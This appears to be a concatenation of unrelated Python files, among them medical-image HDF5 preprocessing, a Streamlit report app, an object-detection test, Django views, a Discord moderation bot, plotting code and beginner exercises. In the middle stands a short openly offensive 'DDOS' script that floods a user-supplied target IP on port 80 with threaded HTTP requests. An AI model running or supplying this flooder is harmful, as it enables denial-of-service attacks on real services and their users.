        original_hdf5_file = h5py.File(os.path.join(read_dir, read_name + "_" + each_set + '.h5'), mode='r')
        original_group = original_hdf5_file.require_group("original")

        # copy the names
        preprocessed_grp.create_dataset("training_data_pat_name", data=original_group["training_data_pat_name"])

        # create the new dataset for training data
        num_patients = original_group["training_data"].shape[0]
        preprocessed_grp.create_dataset("training_data", (num_patients, 4, SIZE_AFTER_CROPPING[0],
                                                          SIZE_AFTER_CROPPING[1], SIZE_AFTER_CROPPING[2]), np.float32)

        # crop the data
        LOGGER.info("cropping training data")
        coords = CROPPING_COORDINATES
        for i in range(0, num_patients):
            image = original_group["training_data"][i]
            cropped = image[:, coords[0]:coords[1], coords[2]:coords[3], coords[4]:coords[5]]
            preprocessed_grp["training_data"][i] = cropped
        LOGGER.info("dimension cropped from %s to %s"
                    % (original_group["training_data"].shape, preprocessed_grp["training_data"].shape))
        # LOGGER.info(original_group["training_data"].shape, end=" to ")
        # LOGGER.info(preprocessed_grp["training_data"].shape)
        # print(preprocessed_grp['training_data'][0, 0])

        # compute the mean and std value
        LOGGER.info("computing the mean and var values:")
        # image_np = np.empty(preprocessed_grp["training_data"].shape)
        # image_np[:] = preprocessed_grp["training_data"]
        _tmp, mean_var = standardize(preprocessed_grp["training_data"], find_mean_var_only=True,
                                     save_dump=os.path.join(output_dir, each_set + "_" + mean_var_name))
        LOGGER.info(mean_var)

        # create the new dataset for segmask
        num_patients = original_group["training_data_segmasks"].shape[0]
        preprocessed_grp.create_dataset("training_data_segmasks", (num_patients, SIZE_AFTER_CROPPING[0],
                                                                   SIZE_AFTER_CROPPING[1], SIZE_AFTER_CROPPING[2]),
                                        np.int16)

        # crop the segmask
        LOGGER.info("cropping segmask")
        coords = CROPPING_COORDINATES
        for i in range(0, num_patients):
            image = original_group["training_data_segmasks"][i]
            cropped = image[coords[0]:coords[1], coords[2]:coords[3], coords[4]:coords[5]]
            preprocessed_grp["training_data_segmasks"][i] = cropped
        LOGGER.info("dimension cropped from %s to %s"
                    % (original_group["training_data_segmasks"].shape, preprocessed_grp["training_data_segmasks"].shape))
        # LOGGER.info(original_group["training_data_segmasks"].shape, end=" to ")
        # LOGGER.info(preprocessed_grp["training_data_segmasks"].shape)

        # close the hdf5 files
        preprocessed_hdf5_file.close()
        original_hdf5_file.close()

    # preprocess validation data
    LOGGER.info("preprocess validation data")
    LOGGER.info("fetch validation dataset")

    # create preprocessed file
    preprocessed_hdf5_file = h5py.File(os.path.join(read_dir, output_name + "_" + "validation" + '.h5'), mode='w')
    preprocessed_grp = preprocessed_hdf5_file.create_group("preprocessed")

    # open original file
    original_hdf5_file = h5py.File(os.path.join(read_dir, read_name + "_" + "validation" + '.h5'), mode='r')
    original_group = original_hdf5_file.require_group("original")

    # create the new dataset for training data
    num_patients = original_group["validation_data"].shape[0]
    preprocessed_grp.create_dataset("validation_data", (num_patients, 4, SIZE_AFTER_CROPPING[0],
                                                        SIZE_AFTER_CROPPING[1], SIZE_AFTER_CROPPING[2]), np.float32)

    # copy the names
    preprocessed_grp.create_dataset("validation_data_pat_name", data=original_group["validation_data_pat_name"])

    # crop the data
    LOGGER.info("cropping validation data")
    coords = CROPPING_COORDINATES
    for i in range(0, num_patients):
        image = original_group["validation_data"][i]
        cropped = image[:, coords[0]:coords[1], coords[2]:coords[3], coords[4]:coords[5]]
        preprocessed_grp["validation_data"][i] = cropped
    LOGGER.info("dimension cropped from %s to %s"
                % (original_group["validation_data"].shape, preprocessed_grp["validation_data"].shape))
    # LOGGER.info(original_group["validation_data"].shape, end=" to ")
    # LOGGER.info(preprocessed_grp["validation_data"].shape)

    # close the hdf5 files
    preprocessed_hdf5_file.close()
    original_hdf5_file.close()

# copy from original data_loader.py
def standardize(images, find_mean_var_only=True, save_dump=None):
    """
    This function standardizes the input data to zero mean and unit variance. It is capable of calculating the
    mean and std values from the input data, or can also apply user specified mean/std values to the images.

    :param images: a h5py dataset with shape (num_qg, channels, x, y, z) to apply mean/std normalization to
    :param find_mean_var_only: only find the mean and variance of the input data, do not normalize
    :param save_dump: if True, saves the calculated mean/variance values to the disk in pickle form
    :return: standardized images, and vals (if mean/val was calculated by the function
    """

    # logger.info('Calculating mean value..')
    vals = {
        'mn': [],
        'var': []
    }

    # create np arrays to compute
    image_shape = images.shape
    sum_of_patients = np.zeros((image_shape[1], image_shape[2], image_shape[3], image_shape[4]), np.float32)
    mean = np.zeros(4, np.float32)
    patient_num = image_shape[0]

    # compute the sum
    for i in range(patient_num):
        sum_of_patients += images[i]

    # compute the mean
    for i in range(4):
        mean[i] = np.sum(sum_of_patients[i]) / (patient_num * image_shape[2] * image_shape[3] * image_shape[4])
        vals['mn'].append(mean[i])

    # logger.info('Calculating variance..')
    # compute the variance
    for i in range(4):
        temp_variance = np.zeros((image_shape[2], image_shape[3], image_shape[4]), np.float32)
        for j in range(patient_num):
            temp_variance += (images[j][i] - mean[i]) ** 2
        var = np.sum(temp_variance) / (patient_num * image_shape[2] * image_shape[3] * image_shape[4])
        vals['var'].append(var)

    # hgg - correct result (computed by the old method)
    # 'mn': [137.8238687678129, 139.06541255196476, 146.83794166571437, 81.9031688650977],
    # 'var': [91567.51291749951, 80731.20444536912, 112183.98736010231, 23409.12254743159]

    # not going to happen
    if not find_mean_var_only:
        # logger.info('Starting standardization process..')

        for i in range(4):
            images[:, i, :, :, :] = ((images[:, i, :, :, :] - vals['mn'][i]) / float(vals['var'][i]))

        # logger.info('Data standardized!')

    if save_dump is not None:
        # logger.info('Dumping mean and var values to disk..')
        pickle.dump(vals, open(save_dump, 'wb'))
    # logger.info('Done!')

    return images, vals

if __name__ == '__main__':
    output_path = os.path.join(TOP_LEVEL_PATH, "out")
    create_hdf5_files(TOP_LEVEL_PATH, output_path)
    preprocess(output_path)


#####1~10文字の文字列を入力してください。

print("1~10文字以上の数字、大文字、小文字のアルファベットを入力してください。")
s = str(input())
####指定の回数繰り返す場合はrangeを使う
for i in range(100):

    if len(s) > 0 and len(s) < 11:
        print("入力された文字列：", s)
        break
    else:
        print("1~10文字以上の数字、大文字、小文字のアルファベットを入力してください。")
        s = str(input())
    i += 1


import streamlit as st
import os
import SASM_v4 as sa
import pandas as pd
# from io import BytesIO
from io import StringIO
from file_process import import_bench
from file_process import import_last_bench
from file_process import import_labor_data
from file_process import side_bar
from file_process import import_last_sasm

def main(user, mbt):
    """
    Purpose: Sets the layout of the web app
    Params:  None
    Return:  None
    """

    # Display the header / welcome
    st.set_page_config(page_title='Bench Report Generator', layout="wide")
    st.title("_SIG Analytics Staff Management_")

    ##############################################
    #
    # CREATE CENTER OF PAGE
    #
    ##############################################
    with st.container():
        h1, h2 = st.columns(2, gap="small")
        with h1:
            st.header("**Status Tracker**")
        with h2:
            st.header("**Import Data**")

    # Asks user to select file
    with st.container():

        # Format page to three colums
        col0, col1, col2, col3 = st.columns(4,gap="small")

        # Format col1
        with col1:
            import_bench(user, mbt)
            import_last_sasm(user, mbt)

        # Format col2
        with col2:
            import_last_bench(user,mbt)

        with col3:
            import_labor_data(user,mbt)

    ##############################################
    #
    # CREATE SIDE COLUMN
    #
    ##############################################
        with col0:
            side_bar(user, mbt)

    ##############################################
    #
    # CREATE DISPLAY TABS
    #
    ##############################################
    # Create tabs to display data to user
    tab1, tab2, tab3, tab4, tab5 = st.tabs(["Current Bench", "Last Bench",
                                "Labor Data", "Last SASM Report",
                                "Generated Bench Report"])
    with tab1:
        st.header("Current Bench Data")

        if user.bench_path == "No File Selected":
            st.write(user.bench_path)
        else:
            st.write(mbt.df_bench)

    with tab2:
        st.header("Last Bench Data")

        if user.last_bench == "No File Selected":
            st.write(user.last_bench)
        else:
            st.write(mbt.df_last_bench)

    with tab3:
        st.header("Labor Data")
        if user.labor_path == "No File Selected":
            st.write(user.labor_path)
        else:
            st.write(mbt.df_labor)

    with tab4:
        st.header("Last SASM Report")
        if user.last_sasm == "No File Selected":
            st.write(user.last_sasm)
        else:
            st.write(mbt.df_last_sasm)

    with tab5:
        st.header("Generated Bench Report")
        if mbt.df_final_report.empty:
            st.write("Upload Date and Generate Report")
        else:
            st.write(mbt.df_final_report)

def file_selector(folder_path='.'):
    filenames = os.listdir(folder_path)
    selected_filename = st.selectbox('Most recent bench.csv file', filenames)

    file = st.file_uploader("Please choose a file")

    return os.path.join(selected_filename)

if __name__ == "__main__":
    # Initialize objects

    if 'user' not in st.session_state:
        st.session_state.user = sa.User_Data()
        user = st.session_state.user
    else:
        user = st.session_state.user

    if 'mbt' not in st.session_state:
        st.session_state.mbt = sa.Billable_Hour_Tracker()
        mbt = st.session_state.mbt
    else:
        mbt = st.session_state.mbt

    main(user, mbt)


#21. Write a program to print the area of a triangle if b and h values are given.

#To calcualte area of triangle we have 1/2 breadt * height

breadth = float(input('Enter breadth of the triangle : ')) #takes breadth as input
height = float(input('Enter height of the triangle : '))  #takes height as input

#lets apply the formula
Area_of_triangle =  (1 / 2 ) * breadth * height
print(f'The Area of triangle is   : {Area_of_triangle}')


import socket
import threading

banner = """

▓█████▄ ▓█████▄  ▒█████    ██████
▒██▀ ██▌▒██▀ ██▌▒██▒  ██▒▒██    ▒
░██   █▌░██   █▌▒██░  ██▒░ ▓██▄
░▓█▄   ▌░▓█▄   ▌▒██   ██░  ▒   ██▒
░▒████▓ ░▒████▓ ░ ████▓▒░▒██████▒▒
 ▒▒▓  ▒  ▒▒▓  ▒ ░ ▒░▒░▒░ ▒ ▒▓▒ ▒ ░
 ░ ▒  ▒  ░ ▒  ▒   ░ ▒ ▒░ ░ ░▒  ░ ░
 ░ ░  ░  ░ ░  ░ ░ ░ ░ ▒  ░  ░  ░
   ░       ░        ░ ░        ░
 ░       ░
"""
print(banner)

target = input("TARGET İP ADDRESS: ")
port = 80

attack_num = 0

def attack():

    while True:

        ip = "{}.{}.{}.{}".format(*__import__("random").sample(range(0,255),4))
        fake_ip = ip

        s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        s.connect((target,port))
        s.sendto(("GET /" + target + "HTTP/1.1\r\n").encode("ascii"),(target,port))
        s.sendto(("Host:" + fake_ip + "\r\n\r\n").encode("ascii"),(target,port))

        global attack_num
        attack_num += 1

        s.close()

for i in range(10):
    thread = threading.Thread(target=attack)
    thread.start()


import tensorflow as tf
from data_handler.imdb import imdb
from network.resnet import resnet
from PIL import Image as Image
import os
import cv2
from rpn_network.roi_helper import rpn_to_roi,handle_roi_fm,nms,cal_transform,match_gt_box
from tools.config import cfg
from data_handler.data_generator_rpn import data_generator_rpn
from rpn_network.rpn import rpn_net
import numpy as np
from tools import debug
from tensorflow.compat.v1 import ConfigProto
from tensorflow.compat.v1 import InteractiveSession

def get_result(roi_record,reg_record,cls_record):
    boxes=[]
    label_record=np.argmax(cls_record,axis=1)
    probs=np.max(cls_record,axis=1)
    # boxes :[xmin,ymin,xmax,ymax]
    for i in range(len(roi_record)):
        w=roi_record[i][2]
        h=roi_record[i][3]
        box=[roi_record[i][0]+w/2,roi_record[i][1]+h/2,w,h]
        box=cal_transform(box,reg_record[i])
        box=[box[0],box[1],box[0]+box[2],box[1]+box[3]]
        boxes.append(box)
    cls_labels, indices = np.unique(label_record, return_inverse=True)
    boxes=np.array(boxes)
    dic={}
    for i in range(len(cls_labels)):
        index = np.where(np.equal(i, indices))[0]
        dic[str(i)]=nms(boxes[index],probs)
    return dic

def nms(box):
    xmin=box[:,0]
    ymin=box[:,1]
    xmax=box[:,2]+box[:,0]
    ymax=box[:,3]+box[:,1]
    score=box[:,4]
    areas=(xmax-xmin)*(ymax-ymin)
    # get the index of nms score.
    index=np.argsort(score)[::-1]
    store=[]
    while index.size>0:
        i=index[0]
        store.append(i)
        # in numpy array list means the index of array.
        # so now the order of  xx1,yy1,xx2,yy2 is the order like index.
        xx1=np.maximum(xmin[i],xmin[index[1:]])
        yy1=np.maximum(ymin[i],ymin[index[1:]])
        xx2=np.minimum(xmax[i],ymax[index[1:]])
        yy2=np.minimum(ymax[i],ymax[index[1:]])
        # if the two box are not intersecting,w and h will be 0
        w = np.maximum(0.0, xx2 - xx1)
        h = np.maximum(0.0, yy2 - yy1)
        intersection=w*h
        iou=intersection/(areas[i]+areas[index[1:]]-intersection)
        loc=np.where(iou==0.0)[0]
        index=index[loc+1]
    return box[store]

def iou( box, gt_box):
        # if there has no intersection there have four possible
        if (box[0] >= gt_box[2] or box[1] >= gt_box[3] or gt_box[0] >= box[2] or gt_box[1] > box[3]):
            return 0
        x_min = max(box[0], gt_box[0])
        x_max = min(box[2], gt_box[2])
        y_min = max(box[1], gt_box[1])
        y_max = min(box[3], gt_box[3])
        area = (x_max - x_min) * (y_max - y_min)
        square = (box[2] - box[0]) * (box[3] - box[1])
        square += (gt_box[2] - gt_box[0]) * (gt_box[3] - gt_box[1])
        iou = area / (square - area + 1e-10)
        return iou
def test():
    data = imdb('test')
    data_gen = data_generator_rpn()
    img_input = tf.keras.layers.Input((None, None, 3))
    network =resnet()
    fpn_net=network.fpn_net(img_input)
    map_large, map_mid, map_small = network.resnet_50(is_share=True, inpt=img_input, is_FPN=True)
    roi_input = tf.keras.layers.Input(shape=(None, 4))
    classfier_large = network.fast_rcnn(map_large, roi_input, 8)
    classfier_mid = network.fast_rcnn(map_mid, roi_input, 16)
    classfier_small = network.fast_rcnn(map_small, roi_input, 32)
    model_classfier = tf.keras.models.Model(inputs=[img_input, roi_input],
                                         outputs=[classfier_large, classfier_mid, classfier_small])
    for layer in model_classfier.layers:
        layer._name = layer.name + "_base"
    fpn_net.load_weights('/Network/Servers/lab.cs.uwlax.edu/nfs-homes/zhou2494/Desktop/expirements/fpn_model8.h5', by_name=True)
    model_classfier.load_weights('/Network/Servers/lab.cs.uwlax.edu/nfs-homes/zhou2494/Desktop/expirements/final.h5',by_name=True)
    record=0
    right=0
    for img_info in data.roidb:
        record+=1
        path = os.path.join(cfg.IMAGESET, img_info.get("index") + ".jpg")
        print(img_info.get("index"))
        img = Image.open(path)
        img, box = data_gen.handle_origin_image(img, img_info.get('box'),img_info)
        img = np.array(img)[None]
        xclass_small, xloc_small, xclass_mid, xloc_mid, xclass_large, xloc_large = fpn_net.predict(img)
        rois_large = rpn_to_roi(xclass_large[0, :, :, :], xloc_large[0, :, :, :], 8)
        print("the number of rois is :" + str(len(rois_large)))
        rois_mid =rpn_to_roi(xclass_mid[0, :, :, :],
                                         xloc_mid[0, :, :, :], 16)
        print("the number of rois is :" + str(len(rois_mid)))
        rois_small = rpn_to_roi(xclass_small[0, :, :, :],
                                           xloc_small[0, :, :, :], 32)
        print("the number of rois is :" + str(len(rois_small)))
        rois = np.concatenate([rois_small, rois_large, rois_mid], axis=0)[:, :4]
        print("the number of rois is :" + str(len(rois)))
        rois_expend=np.expand_dims(rois,axis=0)
        label_record = []
        reg_record = []
        cls_confidence=[]
        roi_record=[]
        index_record=[]
        class_large,loc_large, class_mid,loc_mid, class_small,loc_small= model_classfier.predict([img,rois_expend])
        cls_score_large=np.squeeze(class_large)
        loc_reg_large=np.squeeze( loc_large)
        cls_score_mid = np.squeeze(class_mid)
        loc_reg_mid = np.squeeze(loc_mid)
        cls_score_small = np.squeeze(class_small)
        loc_reg_small = np.squeeze(loc_small)
        loc_reg_large=loc_reg_large/cfg.TRAIN.std_scaling
        loc_reg_mid=loc_reg_mid/cfg.TRAIN.std_scaling
        loc_reg_small=loc_reg_small/cfg.TRAIN.std_scaling
        for i in range(cls_score_large.shape[0]):
            w = rois[i][2] - rois[i][0]
            h = rois[i][3] - rois[i][1]
            roi = [rois[i][0] + w / 2, rois[i][1] + h / 2, w, h]
            if np.argmax(cls_score_large[i, :]) != cfg.NUM_CLASSES - 1 and max(cls_score_large[i, :]) > 0.8:
                label_record.append(cls_score_large[i, :])
                index=np.argmax(cls_score_large[i, :])
                index_record.append(index)
                roi_record.append(roi)
                roi_reg=cal_transform(roi,loc_reg_large[i][index*4:index*4+4])
                reg_record.append(roi_reg)
                cls_confidence.append(cls_score_large[i, index])
            if np.argmax(cls_score_mid[i, :]) != cfg.NUM_CLASSES - 1 and max(cls_score_mid[i, :]) > 0.8:
                label_record.append(cls_score_mid[i, :])
                index = np.argmax(cls_score_mid[i, :])
                index_record.append(index)
                roi_record.append(roi)
                roi_reg=cal_transform(roi,loc_reg_mid[i][index*4:index*4+4])
                reg_record.append(roi_reg)
                cls_confidence.append(cls_score_large[i, index])
            if np.argmax(cls_score_small[i, :]) != cfg.NUM_CLASSES - 1 and max(cls_score_small[i, :]) > 0.8:
                label_record.append(cls_score_small[i, :])
                index = np.argmax(cls_score_small[i, :])
                index_record.append(index)
                roi_record.append(roi)
                roi_reg=cal_transform(roi,loc_reg_small[i][index*4:index*4+4])
                reg_record.append(roi_reg)
                cls_confidence.append(cls_score_large[i, index])
        if len(reg_record)==0:
            continue
        reg_record=np.array(reg_record)
        cls_confidence=np.expand_dims(np.array(cls_confidence),axis=1)
        index_record=np.expand_dims(np.array(index_record),axis=1)
        np_im = np.squeeze(img)
        reg_record=np.concatenate((reg_record,cls_confidence,index_record),axis=1)
        gt_box=img_info.get('box')
        for cls_num in range(8):
            index=np.where(np.equal(reg_record[:,5],cls_num))[0]
            name=cfg.CLASSES_NAME[cls_num]
            if len(index)==0:
                continue
            boxes=nms(reg_record[index])
            for roi in boxes:
                np_im = debug.drawbox(np_im, (0, 0, 255), roi, 1,name)
        cv2.imwrite('tst' + img_info.get('index')+ '.png', np_im)
    print(str(right))
    print(str(record))

if __name__ == '__main__':
    if tf.test.is_gpu_available(
            cuda_only=False,
            min_cuda_compute_capability=None
    ):
        config = ConfigProto()
        config.gpu_options.per_process_gpu_memory_fraction = 0.7
        config.gpu_options.allow_growth = True
        session = InteractiveSession(config=config)
    test()


from django.shortcuts import render
from app1.models import *
from django.http import HttpResponse
# Create your views here.
def insert_topic(request):
    if request.method=='POST':
        tn=request.POST['topic']
        print(tn)
        TO=topic.objects.create(topic_name=tn)
        TO.save()
        return HttpResponse('dfghjkl')
    return render(request,'insert_topic.html')

def insert_webpage(request):
    TO=topic.objects.all()
    d={'topics':TO}
    if request.method=='POST':
        tn=request.POST['topic']
        n=request.POST['name']
        email=request.POST['email']
        date=request.POST['date']
        TO1=topic.objects.get_or_create(topic_name=tn)[0]
        TO1.save()
        TO3=Webpage.objects.get_or_create(topic_name=TO1,name=n,email=email,date=date)[0]
        TO3.save()
        return HttpResponse('dfghjkl')
    return render(request,'insert_webpage.html',d)

def retrieve_topic(request):
    TO=topic.objects.all()
    d={'topics':TO}
    if request.method=='POST':
        tn=request.POST.getlist('topic')
        new=Webpage.objects.none()

        for i in tn:
            new=new | Webpage.objects.filter(topic_name=i)

        d1={'topics':new}
        return render(request,'retrieve_topic.html',d1)
    return render(request,'retrieve_topics.html',d)


from discord.ext import commands
from discord.ext.commands import Cog

import ml
import utils

class Moderate(Cog):
    """
    Automatic moderation
    """

    def __init__(self, bot):
        self.bot = bot

    async def handle_message(self, message):
        if message.author.bot:
            return
        if message.channel.name == self.bot.config['log_channel']:
            return
        content = utils.ascii_filter(utils.clean_message(message.content))
        prediction = await ml.predict(content)  # Get prediction from API
        print(f'{message.content} - {prediction}')
        classification = prediction[0]
        score = prediction[1]
        if classification == 'notok':
            if score > 0.8:  # Delete if score is good
                await message.delete()
            await self.send_log(message, score)
        elif classification == "ok":
            if score < 0.9:
                await self.send_log(message, 0)

    @commands.Cog.listener()
    async def on_message(self, message):
        await self.handle_message(message)

    @commands.Cog.listener()
    async def on_message_edit(self, before, after):
        await self.handle_message(after)

    async def send_log(self, message, score):
        channel = [c for c in message.guild.text_channels if c.name == self.bot.config['log_channel'] and c.permissions_for(message.guild.me).send_messages]
        if channel:
            channel = channel[0]
            if score > 0.8:
                await channel.send(
                    f"\N{LARGE RED CIRCLE} `[{utils.get_time_string()}]` {message.channel.mention} **Harmful message by** `{message.author.name}#{message.author.discriminator} ({message.author.id})` **was deleted:** `{utils.clean_message(message.content)}`"
                )
            else:
                await channel.send(
                    f"\N{LARGE ORANGE DIAMOND} `[{utils.get_time_string()}]` {message.channel.mention} **Potentially harmful message by** `{message.author.name}#{message.author.discriminator} ({message.author.id})` **Content:** `{utils.clean_message(message.content)}`"
                )

def setup(bot):
    bot.add_cog(Moderate(bot))


"""Plot the results.
"""
import matplotlib
matplotlib.use('Agg')
import matplotlib.pyplot as plt
plt.style.use('seaborn')
# https://stackoverflow.com/questions/43080259/
# no-outlines-on-bins-of-matplotlib-histograms-or-seaborn-distplots/43080772
plt.rcParams["patch.force_edgecolor"] = True

import os
import sys
import random
import argparse
import numpy as np
import pickle
import utils
from os.path import join

# Matplotlib stuff
titlesize = 32
xsize = 30
ysize = 30
ticksize = 28
legendsize = 24
er_alpha = 0.25
lw = 3

def plot_losses(args, directory):
    """Plot losses from the saved pickle file."""
    nrows, ncols = 1, 2
    fig, ax = plt.subplots(nrows, ncols, squeeze=False, figsize=(11*ncols, 8*nrows))

    pkl_file = join(directory, 'losses.pkl')
    assert os.path.exists(pkl_file), pkl_file
    with open(pkl_file, 'rb') as fh:
        data = pickle.load(fh)

    xs = data['epoch']
    cumsum = data['tot_train'][-1]
    print(f'Plotting over {len(xs)} epochs, total number of training samples consumed: {cumsum}')
    loss_mse = data['mse_loss']
    loss_kld = data['kld_loss']
    label0 = f'Train MSE; Min: {np.min(loss_mse):0.4f}'
    label1 = f'Train KLD; Min: {np.min(loss_kld):0.3f}'
    ax[0,0].plot(xs, loss_mse, lw=lw, label=label0)
    ax[0,1].plot(xs, loss_kld, lw=lw, label=label1)

    # As of Jan 19 we also have validation.
    if 'valid_mse_loss_rec' in data:
        loss_mse_v = data['valid_mse_loss_rec']
        label_v = f'Valid MSE; Min: {np.min(loss_mse_v):0.4f}'
        ax[0,0].plot(xs, loss_mse_v, lw=lw, label=label_v)

    # Set appropriate y-axis range for MSE.
    eps = 0.0005
    min_y = 0.0 - eps
    max_y = np.max(loss_mse) + eps
    ax[0,0].set_ylim([min_y, max_y])

    # Bells and whistles.
    ax[0,0].set_title(f'MSE Loss', size=titlesize)
    ax[0,1].set_title(f'KL-Div Loss', size=titlesize)
    ax[0,0].set_xlabel('Train Epochs', size=xsize)
    ax[0,1].set_xlabel('Train Epochs', size=xsize)
    ax[0,0].set_ylabel('Loss (MSE)', size=ysize)
    ax[0,1].set_ylabel('Loss (KL Div)', size=ysize)
    for r in range(nrows):
        for c in range(ncols):
            leg = ax[r,c].legend(loc="best", ncol=1, prop={'size':legendsize})
            for legobj in leg.legendHandles:
                legobj.set_linewidth(5.0)
            ax[r,c].tick_params(axis='x', labelsize=ticksize)
            ax[r,c].tick_params(axis='y', labelsize=ticksize)
    plt.tight_layout()

    # Save .png in the same log directory.
    fig_suffix = 'plot_losses.png'.format()
    figname = join(directory, fig_suffix)
    plt.savefig(figname)
    print("Just saved:\n\t{}\n".format(figname))

if __name__ == "__main__":
    # Note: actually path should be one level BEFORE the very long 'model=[...]' phrasing
    # otherwise it'd be a pain to type this in.
    pp = argparse.ArgumentParser()
    pp.add_argument('path', type=str, default='Path to stored file')
    args = pp.parse_args()
    assert os.path.exists(args.path), args.path

    # Let's extract data directories.
    dirs = sorted([join(args.path, x) for x in os.listdir(args.path)])
    print(f'\nNow plotting over {len(dirs)} directories.')
    for d in dirs:
        plot_losses(args, directory=d)


my_list = [0, 1, 2, 3, 4, 5]

for item in my_list:
    print("Item : "+str(item))

my_list = [0, 1, 2, 3, 4, 5]

for i,item in enumerate(my_list):
    print("Item : "+str(i)+" = "+str(item))

family = ['anik','mona','rajdon','halim']

for i,data in enumerate(family):
    print(str(family[i])+" = "+str(data))

my_dict = {'a': 'jill', 'b': 'tom', 'c': 'tim'}
for key in my_dict:
    print(key + ', ' + my_dict[key])

my_dict = {'a':[0, 1, 2, 3], 'b':[0, 1, 2, 3], 'c':[0, 1, 2, 3], 'd':[0, 1, 2, 3]}
i = 0
output = []
for key in my_dict:
    output.append(my_dict[key][i])
    i += 1
print(output)

def smallest_positive(in_list):
    sm = None
    for num in in_list:
        if num > 0:
            if sm == None or num < sm:
                sm = num
    return sm
# Test cases

print(smallest_positive([4, -6, 7, 2, -4, 10]))

def smallest_nagetive(list_):
    sn = None
    for num in list_:
        if num < 0:
            if sn == None or num > sn:
                sn = num
    return sn

print(smallest_nagetive([4, -6, 7, 2, -4, 10]))

courses = {
    'spring2020': { 'cs101': {'name': 'Building a Search Engine',
                           'teacher': 'Dave',
                           'assistant': 'Peter C.'},
                 'cs373': {'name': 'Programming a Robotic Car',
                           'teacher': 'Sebastian',
                           'assistant': 'Andy'}},
    'fall2020': { 'cs101': {'name': 'Building a Search Engine',
                           'teacher': 'Dave',
                           'assistant': 'Sarah'},
                 'cs212': {'name': 'The Design of Computer Programs',
                           'teacher': 'Peter N.',
                           'assistant': 'Andy',
                           'prereq': 'cs101'},
                 'cs253': {'name': 'Web Application Engineering - Building a Blog',
                           'teacher': 'Steve',
                           'prereq': 'cs101'},
                 'cs262': {'name': 'Programming Languages - Building a Web Browser',
                           'teacher': 'Wes',
                           'assistant': 'Peter C.',
                           'prereq': 'cs101'},
                 'cs373': {'name': 'Programming a Robotic Car',
                           'teacher': 'Sebastian'},
                 'cs387': {'name': 'Applied Cryptography',
                           'teacher': 'Dave'}},
    'spring2044': { 'cs001': {'name': 'Building a Quantum Holodeck',
                           'teacher': 'Dorina'},
                        'cs003': {'name': 'Programming a Robotic Robotics Teacher',
                           'teacher': 'Jasper'},
                     }
    }

def when_offered(courses, course):
    data =[]
    for ckey in courses:
        for key in courses[ckey]:
            if key == course:
                data.append(ckey)

    return data

print(when_offered(courses, 'cs101'))
# Correct result:
# ['fall2020', 'spring2020']


_rho_c = 2.7745945707e+11

_help_msg = '''*Syntax*: /simcalc [boxsize] [Np] [mass] [[OmegaM]]
Put one ? in the field that you want to find out.

[boxsize] is in Mpc/h, [mass] is in Msun/h, [OmegaM] is optional and default to 0.3.
Also, [Np] and [boxsize] are the number on the side.'''

def program(data):
    query = data['text'].split()

    if len(query) < 2:
        return _help_msg
    if len(query) == 2:
        query.append('?')
    if len(query) == 3:
        query.append((0.3 if '?' in query else '?'))

    try:
        i = query.index('?')
    except IndexError:
        return _help_msg

    query[i] = 0
    try:
        box_size, N, m, Omega_M = map(float, query)
    except (ValueError, TypeError):
        return _help_msg

    if i == 0:
        output = 'if Np = {0:g}, mass = {1:g} Msun/h, and OmegaM = {2:g} \nthen boxsize = {3:g} Mpc/h'.format(\
                N, m, Omega_M, N*(m/_rho_c/Omega_M)**(1.0/3.0))

    elif i == 1:
        output = 'if boxsize = {0:g} Mpc/h, mass = {1:g} Msun/h, and OmegaM = {2:g} \nthen Np = {3}'.format(\
                box_size, m, Omega_M, int(box_size*(_rho_c*Omega_M/m)**(1.0/3)))

    elif i == 2:
        output = 'if boxsize = {0:g} Mpc/h, Np = {1:g}, and OmegaM = {2:g} \nthen particle mass = {3:g} Msun/h'.format(\
                box_size, N, Omega_M, (box_size/N)**3*_rho_c*Omega_M)

    elif i == 3:
        output = 'if boxsize = {0:g} Mpc/h, Np = {1:g}, and mass = {2:g} Msun/h \nthen OmegaM = {3:g}'.format(\
                box_size, N, m, (N/box_size)**3*m/_rho_c)

    return output


#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
"""
__author__ = "Benedict Wilkins"
__email__ = "benrjw@gmail.com"
__status__ = "Development"

import json
import os

import logging
LOGGER = logging.getLogger("ICU")

from types import SimpleNamespace
import importlib

from .distribution import *
from .validate import validate_schedule
from .exception import ConfigurationError

from .default import default_config, default_external

def hook(config_hook):
    # update validation for external options using a config hook, the hook may be (serialisable) object, or a module path
    # the config hook must define "options" and "defaults", these will be added to ICU options and defaults and used to validate the config file.
    if isinstance(config_hook, str):
        try:
                config_hook = importlib.import_module(config_hook)
        except:
            raise ConfigurationError("Failed to get hook: {0}".format(config_hook))

    try:
        config_hook.options
        config_hook.defaults
    except:
        raise ConfigurationError("Config hook {0} doesnt define 'defaults' or 'options'...".format(config_hook))

    def find_conflict(a, b):
        return set(a.keys()).intersection(set(b.keys()))

    c = find_conflict(options, config_hook.options)
    if len(c) > 0:
        raise ConfigurationError("config hook {0} contains conflicting keys: {1}".format(config_hook, c))

    options.update(config_hook.options)
    default_external.update(config_hook.defaults)

# =================================== # =================================== # =================================== #
# =================================== # ======== ALL CONFIG OPTIONS ======= # =================================== #
# =================================== # =================================== # =================================== #

def tasks():
    return SimpleNamespace(**{k:k for k in ['system', 'fuel', 'track']})

def is_type(*types): #validate type(s)
    def _is_type(**kwargs): #expects a singleton dictionary
        assert len(kwargs) == 1
        k = next(iter(kwargs.keys()))
        v = kwargs[k]
        #print(k,v,types)
        if not isinstance(v, tuple(types)):
            raise ConfigurationError("Invalid value '{0}' for '{1}', must be one of type: {2}.".format(v, k, tuple([t.__name__ for t in types])))
        return v
    return _is_type

def is_coord():
    def _is_coord(**kwargs):
        k = next(iter(kwargs.keys()))
        v = kwargs[k]
        if isinstance(v, list) and len(v) == 2 and isinstance(v[0], (int, float)) and isinstance(v[1], (int,float)):
            return tuple(v)
        else:
            raise ConfigurationError("Invalid value '{0}' for '{1}', must be a list of length 2 and contain only numbers.".format(v, k))
    return _is_coord

def condition(cond):
    def _condition(**kwargs):
        assert len(kwargs) == 1
        k = next(iter(kwargs.keys()))
        v = kwargs[k]
        if not cond(v):
            raise ConfigurationError("Invalid value '{0}' for '{1}'.".format(v, k))
        return v
    return _condition

def get_option(k, group, _options=None):
    if _options is None:
        _options = options

    k = k.split(":")[0]
    if k in _options:
        option = _options[k]
        assert isinstance(option, Option)
        if option.group == group:
            return option

    raise ConfigurationError("Invalid config option: \"{0}\" for config group: \"{1}\"".format(k, group))

def validate_options(group, _options=None):
